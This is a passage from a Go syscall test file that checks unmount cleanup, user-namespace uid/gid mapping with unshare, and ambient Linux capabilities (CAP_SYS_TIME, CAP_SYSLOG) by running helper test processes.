on, the rm will fail. Then we have some cleanup to do: // we must force unmount it, then try to remove it again. if err := os.Remove(x); err != nil { t.Errorf("rm failed on %v: %v", x, err) if err := syscall.Unmount(d, syscall.MNT_FORCE); err != nil { t.Fatalf("Can't unmount %v: %v", d, err) } if err := os.Remove(x); err != nil { t.Fatalf("rm failed on %v: %v", x, err) } } if err := os.Remove(d); err != nil { t.Errorf("rmdir failed on %v: %v", d, err) } } func TestUnshareUidGidMappingHelper(*testing.T) { if os.Getenv("GO_WANT_HELPER_PROCESS") != "1" { return } defer os.Exit(0) if err := syscall.Chroot(os.TempDir()); err != nil { fmt.Fprintln(os.Stderr, err) os.Exit(2) } } // Test for Issue 29789: unshare fails when uid/gid mapping is specified func TestUnshareUidGidMapping(t *testing.T) { if os.Getuid() == 0 { t.Skip("test exercises unprivileged user namespace, fails with privileges") } checkUserNS(t) cmd := exec.Command(os.Args[0], "-test.run=TestUnshareUidGidMappingHelper") cmd.Env = append(os.Environ(), "GO_WANT_HELPER_PROCESS=1") cmd.SysProcAttr = &syscall.SysProcAttr{ Unshareflags: syscall.CLONE_NEWNS | syscall.CLONE_NEWUSER, GidMappingsEnableSetgroups: false, UidMappings: []syscall.SysProcIDMap{ { ContainerID: 0, HostID: syscall.Getuid(), Size: 1, }, }, GidMappings: []syscall.SysProcIDMap{ { ContainerID: 0, HostID: syscall.Getgid(), Size: 1, }, }, } out, err := cmd.CombinedOutput() if err != nil { t.Fatalf("Cmd failed with err %v, output: %s", err, out) } } type capHeader struct { version uint32 pid int32 } type capData struct { effective uint32 permitted uint32 inheritable uint32 } const CAP_SYS_TIME = 25 const CAP_SYSLOG = 34 type caps struct { hdr capHeader data [2]capData } func getCaps() (caps, error) { var c caps // Get capability version if _, _, errno := syscall.Syscall(syscall.SYS_CAPGET, uintptr(unsafe.Pointer(&c.hdr)), uintptr(unsafe.Pointer(nil)), 0); errno != 0 { return c, fmt.Errorf("SYS_CAPGET: %v", errno) } // Get current capabilities if _, _, errno := syscall.Syscall(syscall.SYS_CAPGET, uintptr(unsafe.Pointer(&c.hdr)), uintptr(unsafe.Pointer(&c.data[0])), 0); errno != 0 { return c, fmt.Errorf("SYS_CAPGET: %v", errno) } return c, nil } func mustSupportAmbientCaps(t *testing.T) { var uname syscall.Utsname if err := syscall.Uname(&uname); err != nil { t.Fatalf("Uname: %v", err) } var buf [65]byte for i, b := range uname.Release { buf[i] = byte(b) } ver := string(buf[:]) if i := strings.Index(ver, "\x00"); i != -1 { ver = ver[:i] } if strings.HasPrefix(ver, "2.") || strings.HasPrefix(ver, "3.") || strings.HasPrefix(ver, "4.1.") || strings.HasPrefix(ver, "4.2.") { t.Skipf("kernel version %q predates required 4.3; skipping test", ver) } } // TestAmbientCapsHelper isn't a real test. It's used as a helper process for // TestAmbientCaps. func TestAmbientCapsHelper(*testing.T) { if os.Getenv("GO_WANT_HELPER_PROCESS") != "1" { return } defer os.Exit(0) caps, err := getCaps() if err != nil { fmt.Fprintln(os.Stderr, err) os.Exit(2) } if caps.data[0].effective&(1<<uint(CAP_SYS_TIME)) == 0 { fmt.Fprintln(os.Stderr, "CAP_SYS_TIME unexpectedly not in the effective capability mask") os.Exit(2) } if caps.data[1].effective&(1<<uint(CAP_SYSLOG&31)) == 0 { fmt.Fprintln(os.Stderr, "CAP_SYSLOG unexpectedly not in the effective capability mask") os.Exit(2) } } func TestAmbientCaps(t *testing.T) { // Make sure we are running as root so we have permissions to use unshare // and create a network namespace. if os.Getuid() != 0 { t.Skip("kernel prohibits unshare in unprivileged process, unless using user namespace") } testAmbientCaps(t, false) } func TestAmbientCapsUserns(t *testing.T) { checkUserNS(t) testAmbientCaps(t, true) } func testAmbientCaps(t *testing.T, userns bool) { skipInContainer(t) mustSupportAmbientCaps(t) skipUnprivilegedUserClone(t) // skip on android, due to lack of lookup support if runtime.GOOS == "android" { t.Skip("skipping test on android; see Issue 27327") } u, err := user.Lookup("nobody") if err != nil { t.Fatal(err) } uid, err := strconv.ParseInt(u.Uid, 0, 32) if err != nil { t.Fatal(err) } gid, err := strconv.ParseInt(u.Gid, 0, 32) if err != nil { t.Fatal(err) } // Copy the test binary to a temporary location which is readable by nobody. f, err := ioutil.TempFile("", "gotest") if err != nil { t.Fatal(err) } defer os.Remove(f.Name()) defer f.Close() e, err := os.Open(os.Args[0]) if err != nil { t.Fatal(err) } defer e.Close() if _, err := io.Copy(f, e); err != nil { t.Fatal(err) } if err := f.Chmod(0755); err != nil { t.Fatal(err) } if err := f.Close(); err != nil { t.Fatal(err) } cmd := exec.Command(f.Name(), "-test.run=TestAmbientCapsHelper") cmd.Env = []string{"GO_WANT_HELPER_PROCESS=1"} cmd.Stdout = os.Stdout cmd.Stderr = os.Stderr cmd.SysProcAttr = &syscall.SysProcAttr{ Credential: &syscall.Credential{ Uid: uint32(uid), Gid: uint32(gid), }, AmbientCaps: []uintptr{CAP_SYS_TIME, CAP_SYSLOG}, } if userns { cmd.SysProcAttr.Cloneflags = syscall.CLONE_NEWUSER const nobody = 65534 uid := os.Getuid() gid := os.Getgid() cmd.SysProcAttr.UidMappings = []syscall.SysProcIDMap{{ ContainerID: int(nobody), HostID: int(uid), Size: int(1), }} cmd.SysProcAttr.GidMappings = []syscall.SysProcIDMap{{ ContainerID: int(nobody), HostID: int(gid), Size: int(1), }} // Set credentials to run as user and group nobody. cmd.SysProcAttr.Credential = &syscall.Credential{ Uid: nobody, Gid: nobody, } } if err := cmd.Run(); err != nil { t.Fatal(err.Error()) } }
Close